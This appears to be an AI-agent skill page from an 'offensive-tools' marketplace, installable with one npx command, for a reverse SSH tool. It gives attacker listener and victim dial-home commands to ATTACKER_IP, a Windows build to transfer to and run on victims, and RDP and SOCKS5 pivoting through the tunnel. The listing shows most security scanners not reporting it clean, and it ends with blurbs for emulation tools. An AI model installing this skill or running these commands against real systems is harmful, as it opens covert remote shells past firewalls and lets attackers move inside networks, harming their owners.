offensive-tools/shells/reverse-ssh/SKILL.md
Auth/lab ref: Establish reverse SSH tunnels from victim to attacker for interactive shell access behind NAT/firewall.
npx skillsauth add aeondave/malskill reverse-sshInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Reverse SSH server/tunnel for resilient shell access when inbound connectivity to target is blocked.
# Attacker listener mode
./reverse-ssh -l -p 31337
# Victim dials home
./reverse-ssh -p 31337 <attacker-ip>
# Attacker connects to reverse-bound shell port
ssh -p 8888 127.0.0.1
| Flag | Purpose |
|------|---------|
| -l | Listen mode (bind scenario) |
| -p PORT | SSH port to listen/dial (default 31337) |
| -b PORT | Reverse scenario bind port on attacker side (default 8888) |
| -s SHELL | Shell to spawn (/bin/bash, cmd path hints, etc.) |
| -N | Deny shell/exec/subsystem/local-forward requests |
| --socks5 | Enable SOCKS5 proxy |
| -v | Verbose logs |
Deploy reverse shell:
# Compile for Windows target (from Linux)
GOOS=windows GOARCH=amd64 go build -o rev.exe .
# Transfer to victim, execute:
rev.exe -p 31337 ATTACKER_IP
Port forwarding via reverse SSH:
# From attacker, tunnel internal RDP over obtained SSH endpoint
ssh -p 8888 -L 3389:127.0.0.1:3389 127.0.0.1
# Connect RDP client to localhost:3389
SOCKS5 proxy:
# Open SSH dynamic forwarding via recovered endpoint
ssh -p 8888 -D 1080 127.0.0.1
RS_PASS, RS_PUB).BPORT to avoid collisions during multi-target operations.-N in listener-only workflows where shell execution is not required.| File | When to load |
|------|--------------|
| references/deployment-and-hardening.md | Precise port model (-p vs -b), hardened build flags, safer deployment patterns |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.